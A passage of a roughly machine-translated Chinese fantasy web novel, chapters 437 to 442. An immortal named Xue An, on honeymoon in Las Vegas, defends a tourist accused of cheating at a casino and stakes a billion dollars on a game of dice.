    "Just now, the great elder of Miao Xiangu sent me a piece of news, saying that he had monsters infested there! Take a few people over to see, if not, take a break. If so, you can use it for training!"


    "Yes! Guarantee to complete the task!" Zhang Chu respected with a solemn expression, then turned and left.


    Hu Siling takes this matter very seriously.


    The reason why the Fire Phoenix Special Forces has been so popular in recent years is not only because he has taken the first place in almost all military competitions at home and abroad.


    More importantly, this force also handled a lot of abnormal events.


    These abnormal events are difficult to know from the outside world because of their particularity.


    But Commander Hu certainly knew, and he had seen the video with his own eyes.


    Those tyrannical demons and ghosts made Hu Commander feel a little heavy.


    But as soon as the Fire Phoenix comes out, no matter how powerful the enemy is, it will be wiped out cleanly.


    Hu Siling is a very competitive person.


    This is also why he wants the blood unicorn troop to deal with this monster.


    It is not a big deal to win ordinary troops on the field of competition. Only by dealing with these increasing abnormal events can they be regarded as a powerful special force and qualified to fight the Phoenix.


    Zhang Chu naturally understands these truths.


    As an officer pulled up by Commander Hu.


    Zhang Chu has an almost paranoid enthusiasm for victory.


    He doesn''t want to lose to anyone, especially the Phoenix!


    Because he still has a heavy identity.


    The last inheritor of Ganzhou Longhushan Tianshi Mansion.


    Thousand-year orthodoxy, gathered in his own body.


    So he can''t lose!


    When he returned to the camp where he was stationed, Zhang Chu immediately summoned his men, and then briefly explained the matter.


    These blood unicorn players were basically trained by Zhang Chu, not only in physical fitness and fighting, Zhang Chu even taught them many magical skills.


    Therefore, these players are naturally obedient to their own magical captain.


    "Captain, just say something, what kind of monsters and ghosts, it is drizzle in front of our blood unicorns!"


    "Yes! Captain, go ahead!"


    Everyone was full of excitement and full of vigorous fighting spirit.


    Zhang Chu nodded in satisfaction, "Okay! Then we will all be dispatched this time as a big training!"


    "Yes!"


    The blood unicorns all dispatched and went straight to Miao Xiangu.


    And in Las Vegas.


    In this world-famous casino.


    Xue An is taking a family to play here.


    Yuna and Isabella have returned to the fairyland.


    This is the tenth stop of Xue An and Anyan''s honeymoon trip, and the first place to stay after coming to the country.


    As for the city of sin that belongs to the country...


    Xue An didn''t find it interesting, and had already been there last time, so forget it this time! This came to Las Vegas!


    An Yan certainly has no opinion on this.


    But this time is different from before.


    Therefore, on the plane to the country, Xue An''s family came across a domestic tour group.


    This tour group is a young couple who are newly married to Yan''er, and they are also here for honeymoon travel.


    After An Yan got together with a few girls for a talk, Xue An reluctantly joined the tour group.


    "Brother, come here?" said a gentleman with eyes.


    Xue An smiled slightly and shook his head, "No, I don''t smoke!"


    The spectacle man smiled and said nothing. After lighting it, he swallowed the clouds for a while, and then said comfortably: "Men don��t smoke, white is in the world! Man, I think a man after marriage should be a little bit Own hobby!"


    "Oh why?"


    "You think, marriage is the tomb of love. We have all stepped into the tomb. If we don''t have any hobbies of our own, wouldn''t it be the same as death?" The man with glasses said eloquently.


    But Xue An looked at him weirdly, "Do you really... think so?"


    "Of course! Alas, I''m different from you. Your wife is beautiful and gentle. How can I marry this one? Although she looks petite and cute, she is actually a tigress..."


    The man in glasses was complaining, suddenly felt that the back of his neck was pinched, and then a very cold voice came.


    "Guo Xiaoliang, so in your eyes, I am a tigress..."


    Hearing this sound, Guo Xiaoliang froze all over, then slowly turned his head and looked at his wife, smiling more ugly than crying.


    "Lanlan, I..."


    "Go to hell!" Cai Lanlan grabbed Guo Xiaoliang''s neck and threw Guo Xiaoliang directly after falling over her shoulders simply and beautifully.


    thump.


    Guo Xiaoliang fell to the dust, grinning in pain.


    Cai Lanlan clapped her hands and left angrily.


    Xue An came forward a little funny, and stretched out his hand to pull Guo Xiaoliang on the ground up.


    Guo Xiaoliang breathed in pain, "Man, when did my wife come? Why didn''t you tell me in advance?"


    Xue An sighed, "I keep winking at you, don''t you see it?"


    Guo Xiaoliang wanted to cry without tears, "I''m so **** stupid, I thought you were agreeing with what I said!"


    Xue An laughed loudly, "Madam Ling...good skills!"


    Guo Xiaoliang was about to cry, "Guy, I just wanted to cry when I mentioned this. When we were in love, she behaved like a Xiaojiabiyu. Once saw a mouse, she was so scared that she refused to hold me Let go! I was thinking at the time, this girl will be the only one in this life!"


    Speaking of the past, Guo Xiaoliang''s face is full of longing and yearning.


    "What then?" Xue An blinked.

 Chapter 438： An Yans Gentle Offensive

    "Then...until we got married, I discovered that my wife''s family has been practicing martial arts for generations, and she is a famous martial arts family in the local area, and my wife, who is afraid of seeing mice, took a national Fight champion!"


    "So don''t talk about the mouse, even the dinosaurs have to be counseled when they see her! Don''t you know, I followed her to the county where her home is located, and those gangsters fled when they saw her!"


    Xue An patted Guo Xiaoliang''s shoulder painfully, "Brother, take care!"


    Guo Xiaoliang was taken aback, "Brother, what do you mean by this?"


    Xue An shook his head, turned and left.


    At this time, Guo Xiaoliang sensed something was wrong, and couldn''t help turning his head shivering, and saw his wife Cai Lanlan looking at him with a smile.


    "Husband, it turns out I am so terrible in your eyes!"


    "No...not scary...ah! Brother...hurry up and save me!"


    Hearing the screams coming from behind, Xue An walked away with a smile.


    An Yan in the distance looked at Cai Lanlan who was torturing Guo Xiaoliang, and said helplessly: "This couple... is really a pair of live treasures!"


    The surrounding couples all nodded in agreement.


    At this time, Xue An walked to An Yan''s side and smiled faintly, "Are you hungry?"


    "I''m not hungry! These two little guys have been arguing long ago!"


    Xue An knelt down and picked up the two little girls, "Are you tired?"


    Xue Xiang and Xue Nian nodded.


    Especially Xue Nian, with grievances in his big eyes, "We have been with our mother for a long time, so it''s really boring!"


    Children don��t like to go shopping with adults.


    Because in their sight, all they can see are the buttocks of pedestrians.


    No one would like this feeling.


    Xue Xiang also said at this time: "Yes! Shopping with my mother is exhausting!"


    Hearing this, An Yan couldn''t laugh or cry.


    But the few girls beside them covered their mouths and laughed, some of them even more enviously said: "Xiaoyan, your daughters are so attractive!"


    "Yes! What an enviable family!"


    "Yes, my husband is so handsome and unreasonable to say nothing, and he is so considerate, which makes people envious!"


    Hearing this, An Yan was a little shy, but more laughed proudly.


    Xue An muttered to the two daughters, not knowing what they were talking about.


    After a while, the two little girls showed their faces and laughed, and then got down from Xue An''s arms and went to play around.


    "What did you promise them again?" An Yan asked, leaning over.


    Xue An shrugged, "I didn''t say anything!"


    "That''s it! Did you agree to buy them ice cream again?"


    Xue An touched his nose in embarrassment.


    "Hmph, I knew it!" An Yan hated iron and steel.


    "Hey, my daughter''s physique must be fine eating ice cream, don''t worry!"


    "It''s okay, but there must be a degree. Last time you bought an ice cream shop directly, the two little guys actually ate all of them! If it weren''t for me to drag you fast, it would almost be on the news. , You say! Is it embarrassing?" An Yan said helplessly.


    A few days ago, Xue An sneaked out to play with longing, and then Xue An directly bought all the ice cream in an ice cream shop under the gentle offensive of his two daughters.


    Then the father and daughter are all eating wildly.


    Actually ate it all.


    The shocked shopkeeper secretly dialed the phone of the city media.


    For media that can produce news without news, this subject is shocking enough.


    So the interview car was really dispatched to come to interview.


    If An Yan hadn''t arrived in time and dragged the father and daughter back to the hotel, I still don''t know what happened.


    An Yan was still a little helpless when he mentioned this.


    Xue An was even more embarrassed when he heard it, "Do I think it''s a child? Eat more if you want! Anyway..."


    "They are all girls, what if they get fat?"


    "I will����."


    "What will you do? Will you give them weight loss? Even if it works, but if you can''t control your mouth, it won''t work!"


    An Yan launched a gentle offensive, and Xue An was speechless.


    As an immortal who once mastered the universe, Xue An suddenly felt that in front of An Yan, he was almost like a child.


    This shows that in front of his wife, Xianzun has to bow his head obediently.


    Seeing Xue An touching his nose awkwardly, An Yan''s stern face finally couldn''t be stretched, and she smiled helplessly.


    "Remember what I said?"


    "Remember!" Xue An nodded, and then added, "My wife!"


    An Yan couldn''t laugh or cry. She stepped forward and gently punched Xue An on the shoulder, and said, "I don''t want to be like those people, as if I really become a tigress! But I think children, especially two Daughter, they must be disciplined! Don''t let them be too indulgent, they will become bear children, what do you think?"


    Xue An''s expression became solemn, and nodded, "Hmm!"


    An Yan made a lot of sense.


    In the previous life, Xue An has seen too many bear children of extremely noble origin.


    The parents of these children are generally Daluo or even the fairy king.


    Some even had a golden immortal cultivation base as soon as they were born, and they all possessed extremely high qualifications.


    It is conceivable that these children have lived since childhood.


    Jinyiyushi is the crudest imagination of him.


    After all, they are all heirs to a galaxy at every turn.


    Grew up in this extremely arrogant environment.


    These people tend to be extremely domineering.


    Xue An had killed many such bear children in the first place.


    Because of what they do, sometimes they can simply break through people''s limits.


    Thinking about it this way, Xue An felt that An Yan was right.


    Really talk about identity.


    The two little girls will be the top existence in the entire universe.


    It can be said to be the most noble.


    But if you continue to be arrogant, you will inevitably become biased.


    So Xue An nodded convincingly.


    "Husband, you listen to me except this matter, I will listen to you in the future, okay?"


    An Yan is afraid that Xue An is a little awkward because of these things, after all, her husband is a dignified fairy! Can''t help but beg softly.


    Xue An understands An Yan''s mind and can''t help squeezing An Yan''s nose in love You! What a fool, you are my wife, so why not listen to you? "


    Hearing this, An Yan nodded grinningly.


    Xue An leaned over and said something to An Yan''s ear.


    An Yan''s face turned red, and she looked at Xue An a little shyly, then bit her vermilion lip lightly and nodded slightly.


    The affectionate scene of these two people made the surrounding young couples a little unbearable, and they shouted that this is simply dog ??abuse!


    As for that Guo Xiaoliang, with a bruised nose and swollen face, he looked at this scene with envy, and said inwardly.


    Dude, you are still taller!


    Alas...Look at this gentle and considerate wife, and then look at myself....


    Guo Xiaoliang glanced at Cai Lanlan with his hands on his hips, and couldn''t help but shudder all over.


    Then I sighed, how can the gap between people be so big?

 Chapter 439： Pyramid Casino

    At this time, the team leader Wu Yu came over.


    "Everyone, be quiet!"


    Everyone calmed down and looked at Wu Yu.


    "We are going to visit the largest casino in Las Vegas in a while. I will say in advance a few points to note!"


    "First of all, those who can open a casino here are big bosses. We are here to play. Don''t provoke right and wrong, otherwise no one can help you!"


    "Also, you can play as many as you like inside, but don''t have the mentality of getting rich! Have you heard everything clearly?"


    These young couples nodded their heads to express their understanding.


    "Okay, let''s go!"


    When everyone got on the car, Wu Yu hesitated, and then walked towards Xue An.


    "Mr. Xue, are you going there too?"


    Xue An did not speak, but glanced at An Yan.


    To be honest, Xue An has no interest in the so-called casino at all.


    But seeing An Yan''s eyes bright and cheerful, she should be very interested, so she nodded.


    "Since it''s here, let''s go see it!"


    Wu Yu frowned imperceptibly, but still nodded, "That''s good, but Mr. Xue is not a member of our tour group. If something happens in the casino, we may be helpless!"


    After speaking, Wu Yu turned and left.


    In her opinion, it is better to say something clearly in advance.


    If something really happens, as the leader of the tour group, I''m better off taking responsibility.


    Xue An naturally could see Wu Yu''s thoughts, and couldn''t help but smile. This was also human nature, so he didn''t take it seriously.


    Pyramid Casino.


    The newest and most luxurious casino in Las Vegas.


    This pyramid-shaped building is a huge palace that can accommodate 100,000 people at the same time.


    These tourists were shocked by the towering building as soon as they got off the car, and they were amazed.


    Waiting to walk through the glass curtain wall to get inside.


    The beautiful hall dazzled many people.


    Some people exclaimed at the giant crystal lamp that was hanging down.


    Wu Yu gave a serious introduction while leading the team.


    She cherishes her current job, because most of her expenses for studying abroad have to be solved through this job.


    But everyone was obviously not thinking about listening to her explanation. People''s attention was all attracted by the clanging slot machines and the enchanting beauty guest house at the entrance of the gambling hall.


    Wu Yu sighed secretly, then said: "Okay, now is the time for free activities, please remember the two points I said!"


    The crowd broke apart.


    Xue An led the family around the gambling hall.


    The facilities here are very complete, and there is also an all-weather supply of fruit tea.


    However, it is clear that the gambling here are some ordinary people, and the chips on the table rarely exceed five hundred.


    Even so, there are still many people with sweat on their faces, watching and studying the situation at the poker table intently.


    Xue Xiang and Xue Nian obviously lacked interest in all this, and An Yan also found it quite boring after watching them with great interest.


    As for Xue An, he didn''t even bother to see these gamblers.


    But as a large casino, how could it not consider families with children?


    Next to the gambling hall is a large children''s playground, and next to it are various new video game machines.


    Xue Xiang and Xue Nian have no interest in games such as slides anymore, and instead glared at those large video games.


    Xue An said with a smile, "Which one do you want to play?"


    "This!" Xue Xiang pointed to the simulated motorcycle video game.


    "Okay, Dad will take you two to play!"


    Xue Nian shook his head, pointed to the mole machine on the side, and said with great interest: "Mom, let''s fight this!"


    Anyan actually wanted to play for a long time, but felt that with so many people around, she was also a mother anyway, playing such a naive game would make people laugh.


    Now Xue Nianyi raised it, of course she nodded in agreement with joy.


    So Nian-nian and An Yan smashed the hamster, and Xue An led to think about riding a motorcycle.


    After driving a few laps.


    Think about it eagerly and say: "Dad, let me drive by myself!"


    "Okay!"


    Xue An got out of the car.


    Think about holding the handlebars by yourself, smiling excitedly at Xue An, "Dad, let''s start!"


    This scene also attracted the attention of people around.


    After all, a four or five-year-old girl riding a huge motorcycle is really funny.


    Wait for the game to start.


    These smiles gradually turned into surprises.


    Seeing Xue Xiang''s small face became very serious, and his whole person was fully in control of the direction, driving the motorcycle to dodge left and right, and he drove very smoothly.


    This scene also surprised Xue An slightly, and then looked back at Nian Nian who was wearing a pink hairpin and hitting the gopher with a smile on his face.


    Xue An''s mouth couldn''t help showing a smile.


    It seems...even twins have completely different personalities.


    The family is happily playing games here.


    There was a sudden riot in the front hall.


    Several burly men in black came out grabbing a gentleman with eyes.


    This also attracted a lot of onlookers.


    Xue An also saw this scene and was startled.


    Isn''t this Guo Xiaoliang?


    what happened?


    He said to Xue Xiang: "Think about it, play by yourself! Dad, go!"


    "Good dad!" Xue didn''t even look up, but simply responded.


    Xue An walked over.


    At this time, Guo Xiaoliang yelled: "I didn''t cheat, and I didn''t show up, why did you arrest me?"


    These brawny men didn''t say a word, but a Chinese man who rushed over sneered after hearing this.


    "No cheating? Since you entered the field, you have played a total of thirty-five blackjacks, but you have won all of them! You said that you didn''t make a thousand? You think you are the **** of gamblers!


    "I really didn''t cheat! Can you not afford to lose, and deliberately embarrass me?" Guo Xiaoliang was not convinced.


    The man''s complexion became very ugly. UU Reading


    Guo Xiaoliang won thirty-five in a row. By the end of the day, the chips on his table had reached an astonishing tens of millions.


    This gambling is actually nothing to a casino like the Pyramid, but Guo Xiaoliang played in the civilian hall!


    And he won thirty-five games in a row, which caused a sensation in the entire gambling hall. Many people stopped playing and all gathered around Guo Xiaoliang to watch the fun.


    As the head of the Civilian Hall, Liu Wu would certainly come forward to stop it.


    In his opinion, it is impossible for the gods to win so many in a row, then there is only one possibility.


    Come out!


    As the head of the gambling hall, he hated the old Qian, and he couldn''t wait to punish him soon, so he grinned and said, "Fucking hard!"


    With that said, raising his hand is a slap in the face.


    Fan Guo Xiaoliang''s glasses all flew out, and blood was shed from his nose instantly.

 Chapter 440： 0 storm

    There was a commotion among the onlookers.


    Xue An frowned and was about to speak.


    I saw a petite girl in the distance rushing over with the sound of the wind, and when she got close, she directly smashed the people in front of her and rushed into the field.


    "Lanlan!" Guo Xiaoliang yelled a little aggrievedly.


    It was Cai Lanlan, Guo Xiaoliang''s newlywed wife who was here. When she saw her husband''s nosebleeds, her face was instantly covered with frost.


    "Who did it!" Cai Lanlan asked coldly.


    Liu Wu sneered: "I did it? You..."


    Liu Wu wanted to ask Cai Lanlan how she planned to solve this matter, but she didn''t finish her words at all.


    Cai Lanlan had already stepped forward, grabbing Liu Wu''s shoulder, who was one head taller than herself, and threw a beautiful shoulder.


    boom!


    There was a muffled sound.


    Everyone only felt their feet tremble, and it seemed that even the floor was smashed and trembled three times.


    Liu Wu was smashed and almost fainted, and the pain made him scream.


    "You...you dare to hit someone?"


    Cai Lanlan clapped her hands and sneered: "Why don''t you dare? Are you allowed to beat my husband?"


    "Give it to me!" Liu Wu became angry and yelled at the tall security guards on the side.


    These security guards all gathered around.


    Some of these security guards are even half a person taller than Cai Lanlan.


    Cai Lanlan was in front of them like a dwarf who had fallen into the kingdom of giants.


    But even so, Cai Lanlan still didn''t care, and then stretched out a hand, showing a beautiful boxing frame.


    The foreigners onlookers exclaimed, "Kung Fu!"


    "Zg Kung Fu!"


    At this time, these security guards had rushed to the front, and a **** man punched out.


    Cai Lanlan turned her face slightly and avoided the punch, then grabbed the big man''s arm and moved forward.


    The **** man felt that this petite-looking woman seemed to have infinite weird power, and the whole person involuntarily rushed forward.


    Cai Lanlan kicked her foot.


    Click!


    The black man broke his leg, lost his balance and flew out directly.


    thump!


    She fell to the ground, struggled a few times, and couldn''t get up at all.


    With one move, a security guard was cleaned up.


    The few remaining security guards changed their colors.


    Cai Lanlan stretched out her hand with disdain and hooked, "Let''s go together!"


    Several security guards looked at each other and all rushed over.


    But they didn''t even touch the corner of Cai Lanlan''s clothes, so Cai Lanlan threw it out as a ball.


    While throwing it, the crowd exclaimed.


    Xue An couldn''t help but smile.


    Cai Lanlan''s boxing skills are really good.


    When all the security guards fell to the ground injured, Cai Lanlan walked towards Liu Wu proudly.


    Liu Wu was so scared that he backed away.


    "Tell you, just because of your trash, grandma, I don''t care at all! And you dare to beat my husband, don''t you know that my husband can only be beaten by me?" Cai Lanlan said, she was about to continue.


    At this moment, a group of heavily armed security guards rushed over, and after seeing the situation in the field, they immediately pointed their guns at Cai Lanlan.


    Then a white man slowly walked over.


    When he saw this man, Liu Wu seemed to see the life-saving straw and hurriedly shouted: "Mr. Mike, help me!"


    Mike glanced at Liu Wu on the ground with disgust, then raised his head to look at Cai Lanlan a few times, then smiled and said: "You dare to make trouble here, do you think you are very powerful?"


    Faced with so many guns, Cai Lanlan''s expression also became serious.


    Her skill is really good, but it''s just a good fist, it is impossible to deal with so many security guards with guns.


    At this time, Guo Xiaoliang also said with some horror: "Lan Lan, don''t care about me, hurry up!"


    "Get out! The Cai family hasn''t left the woman whose husband doesn''t care about it! The big deal is dead!" Cai Lanlan said coldly.


    At this moment, Wu Yu arrived with a panic face.


    She had just received the news that Guo Xiaoliang was suspected of being out of the house and arrested, while his wife Cai Lanlan fought with the security guards.


    Hearing this news, Wu Yu almost fainted. What she feared most was that someone in the team would have an accident, and what she was afraid of as a result.


    But now it was useless to be afraid, so she had no choice but to settle her mind and hurried over.


    After seeing the scene, Wu Yu''s heart was completely cold.


    The ground was full of injured security guards, and some of them had broken legs and were groaning in pain.


    A group of security guards holding guns pointed their guns at Cai Lanlan and others.


    This is obviously ten times worse than the worst situation Wu Yu imagined.


    But there is no way, as the team leader, she can only bite the bullet and shout, "Mr. Mike, Lan Lan, please stop!"


    With that, she squeezed through the crowd and came over.


    Seeing her appear, Mike''s expression moved slightly, "Miss Wu, is this the tourist you brought?"


    Wu Yu nodded and smiled bitterly: "Mr. Mike, there may be some misunderstanding in this!"


    She recognizes this Mike.


    Know that he is responsible for the security of the entire Pyramid Casino.


    Once he appeared, the matter became complicated.


    At this moment, Liu Wu said: "Misunderstanding? Mr. Mike, don''t listen to their nonsense, this guy with eyes is out in our casino!"


    "Oh?" Mike''s expression became more gloomy when he heard it.


    The most annoying thing in casinos is people who come out of thousands, and Mike is no exception.


    Out of the old thousand? After Wu Yu heard this word, he couldn''t help being taken aback, and then turned to look at Guo Xiaoliang.


    Guo Xiaoliang cried out to Bing Tian Qu, "I am not a veteran, you are all nonsense, you must see that I won so much money, deliberately want to go wrong!"


    When Wu Yu heard this, he felt cold and knew it was broken.


    As a casino, the most taboo is that someone makes a fuss about credit issues.


    really.


    Mike''s face was so gloomy that water dripped.


    Liu Wu even sneered: "Won thirty-five in a row, and said that he didn''t make a thousand? It''s a dead duck, his mouth is hard!"


    "I just didn''t give a thousand, believe it or not!" Guo Xiaoliang shouted.


    "If you are out, come with me first!" Mike said coldly.


    Now that there are more and more onlookers, the impact on the casino will be very bad.


    But when Wu Yu heard this, she felt cold all over She knew the methods of Mike and others.


    If Guo Xiaoliang and his wife followed, their best end would be to be severely injured and thrown into the ditch.


    Okay, there will be no news.


    So although she was scared, she still bit her scalp and said: "Mr. Mike, there must be a misunderstanding in this, and my visitor is a high-achieving student who graduated from Tsinghua University in Huaguo, definitely not a senior...


    Wu Yu''s words can''t be said anymore, because Mike is looking at her coldly, and then coldly said: "Miss Wu, you are a good person, so I hope you''d better not care about this matter! You can''t do it either. !take away!"


    Following Mike''s order, many security guards were about to rush forward, and Cai Lanlan was also prepared for the worst.


    Just when Wu Yu was completely desperate, a calm voice came.


    "It''s so majestic, since she can''t control it, then I can manage...how?"

 Chapter 441： How about I bet with you?

    Wu Yu looked at Xue An walking out of the crowd with a look of consternation.


    She never expected that Xue An would come forward at this time.


    Guo Xiaoliang and Cai Lanlan were also taken aback.


    Especially Guo Xiaoliang, very grateful.


    What a good buddy!


    At this time, he dared to stand up for himself.


    But this matter is obviously not something he can manage, so he shouted, "Man, thank you for your kindness! This matter is not something you can manage, so don''t mix it up!"


    Xue An smiled when he heard the words, "It doesn''t matter, you have to try it before you know!"


    At this time, Mike looked at Xue An with a gloomy face, and then said coldly: "Who are you again?"


    Xue An smiled, "It doesn''t matter who I am, the key is...I''ll take care of this matter!"


    Wu Yu couldn''t help being angry and anxious.


    Guo Xiaoliang''s matter has not been resolved yet, so you come to join in the fun again, don''t you think the matter is not messy enough?


    She stepped forward and stopped in front of Xue An, "Mr. Xue, it''s not a joke right now, don''t make trouble anymore!"


    "Make trouble?" Xue An smiled slightly, "No, I didn''t want to make trouble!"


    Mike was almost laughing at the moment, and Yin and Yang said strangely: "Miss Wu, your tour group is really interesting, do you have any messy people?"


    Wu Yu''s face turned pale, and he was about to say a few good words, trying to hide the incident as much as possible.


    Xue An smiled slightly, "Your gambling hall keeps saying that my friend has a lot of money, well, I''m blocking his business!"


    "You blocked it? Do you know how much it is? It''s more than ten million dollars!" Liu Wu couldn''t help mocking.


    Xue An pulled out a card from his pocket, threw it directly on Liu Wu''s face, and said lightly: "Is it enough?"


    Liu Wu was about to have an attack, but when he saw this card, he couldn''t help being stunned.


    Because this is an unlimited top black card issued by a Swiss bank!


    With this card, you can spend billions of dollars in funds at any time on a global scale.


    Of course, the review and release of this card is also extremely strict.


    There are only a few dozen copies in the world, and they are all in the hands of the rich.


    How could this man have such a card?


    In fact, this card was given to Xue An by the people of the Dark Council, and Xue An accepted it at will, but now it comes in handy.


    Liu Wu was in a daze.


    Mike also saw this card and his expression changed.


    Being able to own this card is equivalent to an identity in itself.


    Therefore, his expression became respectful.


    "Sir..." Mike wanted to say something else.


    Xue An waved his hand impatiently, "Swipe the card! How much money he owes you, I will give it!"


    "Yes!" Mike beamed with a smile.


    In this Pyramid Casino, the rule for catching the old thousand is that he must vomit as much as he wins.


    Guo Xiaoliang won tens of millions, so he would have to lose tens of millions.


    This is not a small asset!


    And as the security chief, Mike can get a generous bonus from it.


    He was naturally very happy.


    Guo Xiaoliang and his wife watched this scene blankly.


    After a while, Guo Xiaoliang trembled all over and recovered sober, and hurriedly shouted: "Friends, don''t give it to them, I really didn''t cheat..."


    Xue An waved his hand, smiled at him slightly, and motioned him not to say anything.


    Wu Yu and the team members who came with him were all stupid.


    Especially Wu Yu, she muttered to herself, "Is it such a local tyrant? That''s more than ten million, or US dollars..."


    This number is obviously out of Wu Yu''s scope.


    At this time, Liu Wuxing rushed back, "Mr. Mike, the money has been transferred!"


    Mike took the card and walked up to it with his respectful hands.


    "Sir, the money has been paid, you and your friends can go now!"


    Now that the money is in hand, some respects should be paid! No one will have trouble with money anyway. Mike thought silently.


    Xue An stood quietly without picking up the card, "Go? Who said we are leaving?"


    Mike was taken aback.


    Not going?


    What is he going to do?


    At this time, Xue An said calmly: "Since you said that my friend cheated thousands of dollars, then I will gamble with your casino again, I don''t know...you dare to take it?"


    Hearing this sentence, Mike was taken aback for a moment, and then an extremely bright smile gradually appeared on his face.


    For them, the most fear is that someone will not bet!


    "Take it, of course you dare to take it, why not take it?" Mike said with a grin.


    And Guo Xiaoliang, Wu Yu and others all surrounded.


    Especially Wu Yu. She looked at Xue An like a fool, and said in a low voice: "Mr. Xue, are you crazy? Just now Xiao Liang was cheated. Do you dare to bet?"


    Guo Xiaoliang also said: "Yes! Mr. Xue, don''t play anymore, this casino has no reputation at all! You won''t let you go if you win!"


    Xue An smiled slightly, did not answer their words, but said to Liu Wu: "How much can I overdraft with this card?"


    Liu Wu trembled, hesitated for a moment and said: "This kind of card can be overdrawn at least every day...a billion dollars!"


    This number caused an uproar in the hall.


    One billion...


    For most people, this is an astronomical number that they dare not even think about.


    Xue An just nodded slightly, and then said to Mike: "I really hate trouble, so I just play a hand, and bet... it''s just one billion!"


    This sentence came out.


    The audience was silent.


    Mike was surprised.


    The biggest bet ever seen in the Pyramid Casino was no more than one billion dollars, and it was a bet made by several owners.


    This man is so crazy that he wants to place a billion bet?


    Mike, who thought he had seen countless big scenes, gradually showed cold sweat on his face.


    "Why? Don''t you dare to pick it up?" Xue An asked lightly.


    At this moment, I heard a seductive voice, "Since this gentleman likes excitement so much, then our pyramid is happy to accompany you!"


    Speaking of there is a beautiful lady with blond hair and blue eyes coming up.


    Seeing this woman, Mike and others hurriedly stepped aside and shouted respectfully: "Madam!"


    The woman didn''t pay attention to Mike and others at all, but smiled and walked straight to Xue An.


    When Wu Yu saw this woman, her expression turned white, and she whispered: "This woman is Sophia, the lover of the owner behind this casino. She is also the highest person in charge of this casino! And she is also a master of thousands of skills! "


    She was secretly introducing the origins of these people to Xue An.


    Xue An didn''t look back either, just smiled slightly and said, "You know a lot!"


    "I... worked as a croupier in this casino before!" Wu Yu obviously didn''t want to mention those past events, then gritted his teeth and said: "Mr. Xue, you still don''t bet with these people, you can''t beat them!"


    Xue An smiled, "Thank you for your reminder, but my luck has always been good, and I have never lost a bet!"

 Chapter 442： Splashing Gamble

    Wu Yu stomped her foot. She really had no choice but to take Xue An. She couldn''t help but think in irritation, "Let''s do whatever you like, and you''ll know it''s awesome when you lose!


    At this time Sophia had walked up to Xue An and gave an elegant salute, "Dear sir, Mike these people are too rude and rude, I apologize for what happened just now!"


    Many men are already silly.


    Because this Sophia can be called a peerless stunner, no matter his speech, manners or temperament.


    Xue An looked as usual, and said lightly: "Since you have picked up the pyramid, when will the gambling begin?"


    In words, Sophia is nothing but nothing.


    Sophia froze for a moment, feeling a little surprised.


    Her beauty is a weapon that never ends.


    Unexpectedly, this young and extravagant Chinese man would not be moved at all.


    However, her city was extremely deep, and she didn''t show any surprise at all, just smiled faintly.


    "With such a large amount of gambling money, naturally you have to invite your husband to the VIP room!"


    Xue An shook his head, "No, I think it''s fine here!"


    Sophia was stunned, and she couldn''t help but feel a little surprised.


    But she was unwilling to give up a billion fat.


    So he just hesitated and nodded: "Since the husband said so, then it''s all right here! I wonder what the husband wants to bet on?


    "Whatever, but I don''t like too much trouble!"


    "If this is the case, and the husband is still a Chinese, what about taking a dice?" Sophia said.


    "can!"


    Seeing Xue An nodded, Sophia''s smile couldn''t help being brighter, but there was a sneer in her heart.


    Although she is a native of China, her master is a master of thousands of arts in Southeast Asia.


    As a representative of East Asian gambling, the dice has been played by Sophia to a superb level.


    This man dared to bet the dice with himself.


    It seems that he is really a young child who knows nothing!


    Sophia was overjoyed in her heart and immediately ordered her men to prepare.


    Soon, a large gambling table was set up, and all the gambling equipment was fully prepared.


    "Sir, please choose the dice!" Sophia pointed to the box full of brand new dice on the table and said with a smile.


    Xue An smiled at Wu Yu, "Miss Wu, you can choose for me!"


    Wu Yu was taken aback, "Me?"


    Xue An nodded, "Didn''t you have been a croupier? You should know it well, come on!"


    Wu Yu stepped forward and picked the dice.


    Sophia winked at Mike behind him.


    Mike understood what it meant, and quickly stepped forward and said in a low voice: "This Wu Yu had been a croupier in our casino before!"


    Sophia nodded calmly, and then gave Wu Yu a meaningful look.


    At this time, Wu Yu had already picked the dice, turned and walked to the table.


    Sophia smiled and said, "Sir, are we bigger or smaller?"


    Xue An sat on the chair and said indifferently: "Anything is fine, as long as it is simple!"


    "That''s good, then we are better than the size!"


    The so-called ratio is the number of points compared to the roll of the dice, the bigger one wins, and the same point is equal.


    This is also the most primitive gameplay.


    But because of the originality, it will be more exciting.


    "Since your sir wants to bet on the pyramid with me, you must throw it first!" Sophia said confidently.


    In her opinion, this Xue An is definitely a chick who doesn''t understand anything, it doesn''t hurt to let him throw first.


    Even if he really rolls three sixs, he can easily roll a tie when the time comes.


    Xue An smiled, but instead of picking up the sieve cup, he smiled at Wu Yu.


    "Miss Wu, I am not interested in this thing, you can throw it for me!"


    This sentence is like a shock.


    Not only was Wu Yu stunned on the spot, even those who heard this thought they had heard it wrong.


    This shocking gambling game certainly attracted countless people watching the excitement, but they were all blocked by the security of the casino.


    At this moment, all these people watching the excitement looked at each other, thinking that Xue An must be crazy.


    Guo Xiaoliang also looked solemn when he heard the words, then leaned over to Cai Lanlan''s ear and said, "Wife, what if my buddy loses in a while?"


    Cai Lanlan''s face sank like water, then she gritted her teeth, "The Cai family never owes favors. If he loses, I will pay for him if he loses!"


    Guo Xiaoguangdian nodded, "Okay, what my wife said is exactly what I thought in my heart. Damn, I finally worked out a winning blackjack mathematical formula. I actually said that I am a thousand people, this bunch of turtles! Lord, I use it. Old thousand?"


    Speaking of this, Guo Xiaoliang was full of resentment.


    He is a top student in the Department of Mathematics of Tsinghua University. He finally worked out a formula that must win with great concentration, but he didn''t expect to be wronged by these guys for cheating. This naturally made Guo Xiaoliang angry.


    At this time, Wu Yu also awoke from the shock and hurriedly waved his hand and said, "I can''t do it!"


    "Why can''t it?"


    "This is a billion-dollar bet, I..."


    Xue An smiled, "If you lose, you don''t have to pay for it. What are you afraid of? If you win, I can give you a big red envelope, enough for you to go to school for ten years!"


    Wu Yu was stunned. How did he know that I was in school?


    Sophia had been watching this scene with a smile, and her heart became more determined.


    Finally Wu Yu gritted his teeth, "Okay then!"


    As she said, she picked up the sieve cup with both hands trembling, and started to roll the dice.


    She shook very slowly, and she shook for a long time.


    It can be seen that Wu Yu is doing his best to throw a good point.


    When the sieve cup was finally put down, Wu Yu was about to collapse, and then looked at Xue An.


    Xue An smiled slightly and motioned to her to open it.


    Wu Yu closed his eyes and lifted the lid of the sieve cup.


    The onlookers all looked at them, and then there was an uproar.


    Wu Yu felt cold and quickly opened his eyes to take a look.


    Three dice, the points are 556.


